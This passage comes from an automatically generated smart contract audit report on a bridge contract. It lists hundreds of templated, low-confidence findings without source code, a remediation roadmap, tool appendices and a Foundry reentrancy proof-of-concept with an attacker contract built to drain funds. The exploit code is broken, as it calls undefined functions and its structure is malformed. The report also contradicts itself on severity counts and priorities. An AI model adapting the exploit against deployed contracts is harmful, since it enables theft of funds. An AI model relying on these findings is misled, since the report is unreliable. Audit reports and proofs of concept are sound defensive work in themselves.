Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Use Solidity 0.8+ or SafeMath library

References

- SWC-101
- OWASP Smart Contract Top 10

F-485. arithmetic

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	26%
Location	<code>contract.sol:1072</code>
Status	Open (26% conf.)
Detected By	classic-pattern-detector

Description

Integer overflow or underflow

Vulnerable Code

```
// Source code not available for this finding
```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Use Solidity 0.8+ or SafeMath library

References

- SWC-101
- OWASP Smart Contract Top 10

F-486. arithmetic

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	26%
Location	contract.sol:1078
Status	Open (26% conf.)
Detected By	classic-pattern-detector

Description

Integer overflow or underflow

Vulnerable Code

```
// Source code not available for this finding
```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Use Solidity 0.8+ or SafeMath library

References

- SWC-101
- OWASP Smart Contract Top 10

F-487. arithmetic

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	26%
Location	contract.sol:1094
Status	Open (26% conf.)
Detected By	classic-pattern-detector

Description

Integer overflow or underflow

Vulnerable Code

```
// Source code not available for this finding
```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Use Solidity 0.8+ or SafeMath library

References

- SWC-101
- OWASP Smart Contract Top 10

F-488. arithmetic

PROPERTY	VALUE
Severity	MEDIUM

PROPERTY	VALUE
Category	
CVSS Score	6.8
Confidence	26%
Location	contract.sol:1138
Status	Open (26% conf.)
Detected By	classic-pattern-detector

Description

Integer overflow or underflow

Vulnerable Code

```
// Source code not available for this finding
```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Use Solidity 0.8+ or SafeMath library

References

- SWC-101
- OWASP Smart Contract Top 10

F-489. arithmetic

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	26%
Location	contract.sol:1144
Status	Open (26% conf.)

PROPERTY	VALUE
Detected By	classic-pattern-detector

Description

Integer overflow or underflow

Vulnerable Code

```
// Source code not available for this finding
```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Use Solidity 0.8+ or SafeMath library

References

- SWC-101
- OWASP Smart Contract Top 10

F-490. access_control

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	28%
Location	contract.sol:1201
Status	Open (28% conf.)
Detected By	classic-pattern-detector

Description

Missing or insufficient access controls

Vulnerable Code

```
// Source code not available for this finding
```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Add onlyOwner/onlyRole modifiers or require(msg.sender == owner)

References

- SWC-105
- OWASP Smart Contract Top 10

F-491. access_control

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	28%
Location	contract.sol:1209
Status	Open (28% conf.)
Detected By	classic-pattern-detector

Description

Missing or insufficient access controls

Vulnerable Code

```
// Source code not available for this finding
```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Add onlyOwner/onlyRole modifiers or require(msg.sender == owner)

References

- SWC-105
- OWASP Smart Contract Top 10

F-492. access_control

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	28%
Location	contract.sol:1226
Status	Open (28% conf.)
Detected By	classic-pattern-detector

Description

Missing or insufficient access controls

Vulnerable Code

```
// Source code not available for this finding
```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Add onlyOwner/onlyRole modifiers or require(msg.sender == owner)

References

- SWC-105
- OWASP Smart Contract Top 10

F-493. access_control

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	28%
Location	contract.sol:1233
Status	Open (28% conf.)
Detected By	classic-pattern-detector

Description

Missing or insufficient access controls

Vulnerable Code

```
// Source code not available for this finding
```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Add onlyOwner/onlyRole modifiers or require(msg.sender == owner)

References

- SWC-105
- OWASP Smart Contract Top 10

F-494. short_address

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	6.8

PROPERTY	VALUE
Confidence	28%
Location	<code>contract.sol:1252</code>
Status	Open (28% conf.)
Detected By	classic-pattern-detector

Description

Short address attack in token transfer

Vulnerable Code

```
// Source code not available for this finding
```

Impact Analysis

Minor impact on contract functionality, gas efficiency, or code quality. Low risk but recommended to fix for best practices.

Recommendation

Use Solidity 0.5+ or validate input length

References

- SWC-102
- OWASP Smart Contract Top 10

F-495. arithmetic

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	26%
Location	<code>contract.sol:1445</code>
Status	Open (26% conf.)
Detected By	classic-pattern-detector

Description

Integer overflow or underflow

Vulnerable Code

```
// Source code not available for this finding
```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Use Solidity 0.8+ or SafeMath library

References

- SWC-101
- OWASP Smart Contract Top 10

F-496. denial_of_service

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	28%
Location	contract.sol:1601
Status	Open (28% conf.)
Detected By	classic-pattern-detector

Description

Denial of service through gas exhaustion or external call failure

Vulnerable Code

```
// Source code not available for this finding
```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Limit loop iterations or use pull payment pattern

References

- SWC-128
- OWASP Smart Contract Top 10

F-497. arithmetic

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	26%
Location	contract.sol:1608
Status	Open (26% conf.)
Detected By	classic-pattern-detector

Description

Integer overflow or underflow

Vulnerable Code

```
// Source code not available for this finding
```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Use Solidity 0.8+ or SafeMath library

References

- SWC-101
- OWASP Smart Contract Top 10

F-498. arithmetic

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	26%
Location	contract.sol:1716
Status	Open (26% conf.)
Detected By	classic-pattern-detector

Description

Integer overflow or underflow

Vulnerable Code

```
// Source code not available for this finding
```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Use Solidity 0.8+ or SafeMath library

References

- SWC-101
- OWASP Smart Contract Top 10

F-499. arithmetic

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	26%

PROPERTY	VALUE
Location	<code>contract.sol:1792</code>
Status	Open (26% conf.)
Detected By	classic-pattern-detector

Description

Integer overflow or underflow

Vulnerable Code

```
// Source code not available for this finding
```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Use Solidity 0.8+ or SafeMath library

References

- SWC-101
- OWASP Smart Contract Top 10

F-500. arithmetic

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	26%
Location	<code>contract.sol:1798</code>
Status	Open (26% conf.)
Detected By	classic-pattern-detector

Description

Integer overflow or underflow

Vulnerable Code

```
// Source code not available for this finding
```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Use Solidity 0.8+ or SafeMath library

References

- SWC-101
- OWASP Smart Contract Top 10

F-501. arithmetic

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	26%
Location	contract.sol:1866
Status	Open (26% conf.)
Detected By	classic-pattern-detector

Description

Integer overflow or underflow

Vulnerable Code

```
// Source code not available for this finding
```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Use Solidity 0.8+ or SafeMath library

References

- SWC-101
- OWASP Smart Contract Top 10

F-502. access_control

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	28%
Location	contract.sol:1912
Status	Open (28% conf.)
Detected By	classic-pattern-detector

Description

Missing or insufficient access controls

Vulnerable Code

```
// Source code not available for this finding
```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Add onlyOwner/onlyRole modifiers or require(msg.sender == owner)

References

- SWC-105
- OWASP Smart Contract Top 10

F-503. bad_randomness

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	28%
Location	contract.sol:1983
Status	Open (28% conf.)
Detected By	classic-pattern-detector

Description

Weak randomness from blockchain data

Vulnerable Code

```
// Source code not available for this finding
```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Use Chainlink VRF or commit-reveal scheme

References

- SWC-120
- OWASP Smart Contract Top 10

F-504. arithmetic

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	26%

PROPERTY	VALUE
Location	<code>contract.sol:2251</code>
Status	Open (26% conf.)
Detected By	classic-pattern-detector

Description

Integer overflow or underflow

Vulnerable Code

```
// Source code not available for this finding
```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Use Solidity 0.8+ or SafeMath library

References

- SWC-101
- OWASP Smart Contract Top 10

6. Remediation Roadmap

6.1 Prioritized Actions

PRIORITY	FINDING	SEVERITY	EFFORT	RATIONALE
1	unchecked-lowlevel	Medium	Medium	Unchecked low-level calls can lead to loss of funds if the called address does not exist or the call fails, making it a critical issue to address.
2	unchecked-lowlevel	Medium	Medium	Missing zero checks can lead to unexpected behavior if an address is set to zero, but the impact is generally less severe than unchecked low-level calls.

PRIORITY	FINDING	SEVERITY	EFFORT	RATIONALE
3	missing-zero-check	Low	Medium	Another instance of unchecked low-level calls, similar to finding 1, with the same level of severity.
4	missing-zero-check	Low	Medium	Missing zero checks, less severe than unchecked low-level calls, but still important to fix.
5	missing-zero-check	Low	Medium	Missing zero checks, similar to finding 4, with the same level of severity.
6	missing-zero-check	Low	Medium	Missing zero checks, similar to finding 4 and 5, with the same level of severity.
7	assembly	informational	Medium	Assembly usage for verifying call results is informational and does not pose a direct security risk.
8	assembly	informational	Medium	Assembly usage for verifying call results in an upgradeable context is informational and does not pose a direct security risk.
9	assembly	informational	Medium	Assembly usage for checking if an address is a contract is informational and does not pose a direct security risk.
10	assembly	informational	Medium	Assembly usage for checking if an address is a contract is informational and does not pose a direct security risk.

6.2 Remediation Timeline

PHASE	WEEK	PRIORITY	FINDINGS	ACTION
1	Week 1	Critical & High	0 + 1	Immediate remediation required
2	Week 2	Medium	291	Address medium severity issues
3	Week 3	Low & Info	111 + 101	Fix low priority items
4	Week 4	Verification	-	Re-audit and validation

6.3 Quick Wins

The following fixes provide high security impact with minimal effort: - **naming-convention** - Fix naming convention issues - **naming-convention** - Fix naming convention issues - **naming-convention** - Fix naming convention issues - **naming-convention** - Fix naming convention issues - **naming-convention** - Fix naming convention issues

6.4 Effort vs Impact Matrix

		IMPACT		
		Low	Medium	High
E F F O R T		Avoid 2	Consider 34	Schedule 0
	High ↑	Defer 47	Plan 257	Priority 1
	Med ↑			
	Low	If Time 163	Quick Win 0	DO FIRST! 0

Prioritization Summary:

- ✂ **Priority (1)**: Medium effort, high impact - plan these next

7. Appendices

Appendix A: Tool Execution Details

A.1. slither

Execution Time: N/A **Exit Code:** 0 **Findings:** 20

Raw Output (click to expand)

```
Analysis completed successfully.
Findings detected: 20
```

Findings summary:

1. [MEDIUM] reentrancy-no-eth (line 2080)
2. [MEDIUM] unchecked-lowlevel (line 2174)
3. [MEDIUM] unchecked-lowlevel (line 2281)
4. [LOW] missing-zero-check (line 2143)
5. [LOW] missing-zero-check (line 1993)
6. [LOW] missing-zero-check (line 2175)
7. [LOW] missing-zero-check (line 2282)
8. [INFO] assembly (line 172)
9. [INFO] assembly (line 336)
10. [INFO] assembly (line 215)
- ... and 10 more

A.2. aderyn

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.
Findings detected: 0
```

A.3. solhint

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.
Findings detected: 0
```

A.4. wake

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.
Findings detected: 0
```

A.5. semgrep

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.
Findings detected: 0
```

A.6. fouranalyzer

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.7. echidna

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.8. medusa

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.9. foundry

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.10. dogefuzz

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.11. vertigo

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.12. hardhat

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.13. mythril

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.14. manticore

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.15. halmos

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.16. oyente

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.17. pakala

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.18. certora

Execution Time: N/A **Exit Code:** 1 **Findings:** 0

Raw Output (click to expand)

```
Status: failed
```

A.19. smtchecker

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)


```
Analysis completed successfully.  
Findings detected: 0
```

A.20. propertygpt

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.21. scribble

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.22. solcmc

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.23. smartllm

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.24. gptscan

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.25. llmsmartaudit

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.26. gptlens

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.27. llamaaudit

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.28. iaudit

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.29. dagnn

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.30. smartbugs_ml

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.31. smartbugs_detector

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.32. smartguard

Execution Time: N/A **Exit Code:** 1 **Findings:** 0

Raw Output (click to expand)

Status: failed

A.33. peculiar

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.34. threat_model

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.35. gas_analyzer

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.36. mev_detector

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.37. contract_clone_detector

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.38. defi

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.39. advanced_detector

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.40. upgradability_checker

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.41. crosschain

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.42. zk_circuit

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.43. bridge_monitor

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.44. l2_validator

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.45. circom_analyzer

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.46. llmbugscanner

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.47. audit_consensus

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.48. exploit_synthesizer

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.49. vuln_verifier

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

A.50. remediation_validator

Execution Time: N/A **Exit Code:** 0 **Findings:** 0

Raw Output (click to expand)

```
Analysis completed successfully.  
Findings detected: 0
```

Appendix B: Proof of Concept Exploits

The following PoC exploit templates were generated for critical/high findings. These are designed for local Foundry test environments and are NOT production exploits.

B.79. F-079 - eth-send-unchecked-address

Severity: HIGH | **Category:** eth-send-unchecked-address

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "forge-std/console.sol";

/**
 * @title SynapseBridgeflat Reentrancy Exploit PoC
 * @notice Proof of Concept for reentrancy vulnerability
 * @dev Generated by MIESC PoC Generator
 *
 * Vulnerability: Consider introducing checks for `msg.sender` to ensure the recipient of
the money is as intended.
 * Severity: High
 * Target Function: unknown
 * Generated: 2026-09-11 05:59
 *
 * Attack Vector:
 * 1. Attacker calls vulnerable function
 * 2. Before state update, external call is made to attacker
 * 3. Attacker re-enters the vulnerable function
 * 4. State is read before previous call completed
 * 5. Repeat until funds drained
 */
contract SynapseBridgeflatReentrancyTest is Test {
    // Target contract interface
    // Replace with actual contract interface
    interface IVulnerable {
        function deposit() external payable;
        function unknown() external;
        function balanceOf(address) external view returns (uint256);
    }

    // Contracts
    IVulnerable public target;
    AttackerContract public attackerContract;

    // Addresses
    address public attacker;
    address public victim;

    // Initial balances
    uint256 constant VICTIM_DEPOSIT = 10 ether;
    uint256 constant ATTACKER_DEPOSIT = 1 ether;

    function setUp() public {
        // Setup accounts
        attacker = makeAddr("attacker");
        victim = makeAddr("victim");

        vm.deal(attacker, 100 ether);
        vm.deal(victim, 10 ether);

        // Deploy target contract
        // target = IVulnerable(deployCode("SynapseBridgeflat.sol"));

        // Deploy attacker contract
        vm.prank(attacker);
        attackerContract = new AttackerContract(address(target));
    }
}
```

```

    // Victim deposits funds
    vm.prank(victim);
    target.deposit{value: VICTIM_DEPOSIT}();

    console.log("=== Setup Complete ===");
    console.log("Target balance:", address(target).balance);
    console.log("Victim deposited:", VICTIM_DEPOSIT);
}

function test_exploit_reentrancy() public {
    console.log("\n=== Starting Reentrancy Attack ===");

    uint256 targetBalanceBefore = address(target).balance;
    uint256 attackerBalanceBefore = attacker.balance;

    console.log("Target balance before:", targetBalanceBefore);
    console.log("Attacker balance before:", attackerBalanceBefore);

    // Fund attacker contract
    vm.prank(attacker);
    (bool sent,) = address(attackerContract).call{value: ATTACKER_DEPOSIT}("");
    require(sent, "Failed to fund attacker");

    // Execute attack
    vm.prank(attacker);
    attackerContract.attack();

    // Withdraw stolen funds
    vm.prank(attacker);
    attackerContract.withdrawStolenFunds();

    uint256 targetBalanceAfter = address(target).balance;
    uint256 attackerBalanceAfter = attacker.balance;

    console.log("\n=== Attack Complete ===");
    console.log("Target balance after:", targetBalanceAfter);
    console.log("Attacker balance after:", attackerBalanceAfter);
    console.log("Attacker profit:", attackerBalanceAfter - attackerBalanceBefore +
ATTACKER_DEPOSIT);

    // Assertions
    assertLt(targetBalanceAfter, targetBalanceBefore, "Target should have lost
funds");
    assertGt(attackerBalanceAfter, attackerBalanceBefore, "Attacker should have
gained funds");
}

function test_reentrancy_count() public {
    // Fund attacker
    vm.prank(attacker);
    (bool sent,) = address(attackerContract).call{value: ATTACKER_DEPOSIT}("");
    require(sent, "Failed to fund attacker");

    // Execute attack
    vm.prank(attacker);
    attackerContract.attack();

    uint256 count = attackerContract.reentrancyCount();
    console.log("Reentrancy count:", count);

    assertGt(count, 1, "Should have re-entered at least once");
}
}

/**
 * @title AttackerContract
 * @notice Malicious contract that exploits reentrancy

```

```

*/
contract AttackerContract {
    address public target;
    address public owner;
    uint256 public reentrancyCount;

    constructor(address _target) {
        target = _target;
        owner = msg.sender;
    }

    receive() external payable {
        // Reenter if target still has funds
        if (target.balance >= 1 ether && reentrancyCount < 10) {
            reentrancyCount++;
            console.log("Re-entering, count:", reentrancyCount);

            // Call vulnerable function again
            (bool success,) = target.call(
                abi.encodeWithSignature("unknown()")
            );
        }
    }
}

```

Appendix C: Files Analyzed

#	FILE PATH	LINES	FUNCTIONS	FINDINGS
1	SynapseBridge.flat.sol	2475	160	504

Appendix D: SWC Registry Compliance

SWC ID	TITLE	STATUS	FINDING(S)
SWC-101	Integer Overflow and Underflow	⚠ Found	F1, F2, F3, F4, F5, F6, F7, F8, F9, F10
SWC-102	Outdated Compiler Version	⚠ Found	F1, F2
SWC-103	Floating Pragma	❏ Not Found	--
SWC-104	Unchecked Call Return Value	⚠ Found	F1, F2, F3, F4, F5, F6, F7
SWC-105	Unprotected Ether Withdrawal	⚠ Found	F1, F2, F3, F4, F5, F6, F7, F8, F9, F10, F11, F12, F13, F14, F15, F16, F17, F18, F19, F20, F21, F22, F23, F24, F25, F26, F27, F28, F29, F30, F31, F32, F33, F34, F35, F36, F37, F38, F39, F40, F41, F42, F43, F44, F45, F46, F47, F48, F49, F50, F51, F52, F53, F54, F55, F56, F57, F58, F59, F60, F61, F62, F63, F64, F65, F66, F67, F68, F69, F70, F71, F72, F73, F74, F75, F76, F77, F78, F79, F80, F81, F82, F83, F84,

SWC ID	TITLE	STATUS	FINDING(S)
			F85, F86, F87, F88, F89, F90, F91, F92, F93, F94, F95, F96, F97, F98, F99, F100, F101
SWC-107	Reentrancy	△ Found	F1, F2, F3, F4, F5, F6, F7, F8, F9
SWC-109	Uninitialized Storage Pointer	△ Found	F1, F2, F3
SWC-112	Delegatecall to Untrusted Callee	△ Found	F1, F2, F3
SWC-113	DoS with Failed Call	△ Found	F1, F2, F3, F4, F5, F6, F7
SWC-115	Authorization through tx.origin	□ Not Found	--
SWC-116	Block values as a proxy for time	△ Found	F1, F2, F3, F4
SWC-127	Arbitrary Jump with Function Type Variable	△ Found	F1, F2, F3, F4

Appendix E: OWASP Smart Contract Top 10

RANK	CATEGORY	STATUS	FINDINGS
SC01	Reentrancy Attacks	△	9
SC02	Access Control Vulnerabilities	△	101
SC03	Arithmetic Issues	△	43
SC04	Unchecked Return Values	△	17
SC05	Denial of Service	△	7
SC06	Bad Randomness	△	2
SC07	Front-Running	△	6
SC08	Time Manipulation	△	4

RANK	CATEGORY	STATUS	FINDINGS
SC09	Short Address Attack	⚠	3

Appendix F: Glossary

TERM	DEFINITION
Reentrancy	A vulnerability where an external call allows execution to re-enter the calling contract before the first execution completes
Integer Overflow	When an arithmetic operation results in a value larger than can be stored in the variable
Front-running	Exploiting knowledge of pending transactions to gain an advantage
Flash Loan Attack	Using uncollateralized loans within a single transaction to manipulate protocols
Oracle Manipulation	Attacking price feeds or external data sources to influence contract behavior
Access Control	Mechanisms that restrict who can execute sensitive functions

Appendix G: Audit Trail

EVENT	TIMESTAMP	HASH
Contract Snapshot	2026-09-11	N/A
Analysis Started	2026-09-11	--
Analysis Completed	2026-09-11 05:50:38	--
Report Generated	2026-09-11 05:50:38	--
Report Hash	2026-09-11 05:50:38	N/A

Disclaimer

This audit report is provided on an "AS IS" basis without warranties of any kind, whether express or implied. The findings and recommendations represent the auditor's professional opinion based on the scope and methodology described.

Limitations: - This audit does not guarantee the absence of vulnerabilities - Smart contract security is an evolving field - New vulnerabilities may be discovered post-audit - Economic and governance attacks may not be fully modeled - The client is responsible for implementing and testing fixes

Model-Assisted Interpretation Disclosure: Sections labeled as model-assisted were produced using large language models (mistral:latest). These interpretations are supplementary and must be reviewed by qualified security professionals before operational use.

****Powered by [MIESC](<https://github.com/fboiero/MIESC>)** Multi-layer Intelligent Evaluation for Smart Contracts *Report generated: 2026-09-11 05:50:38* *Report Version: 1.0***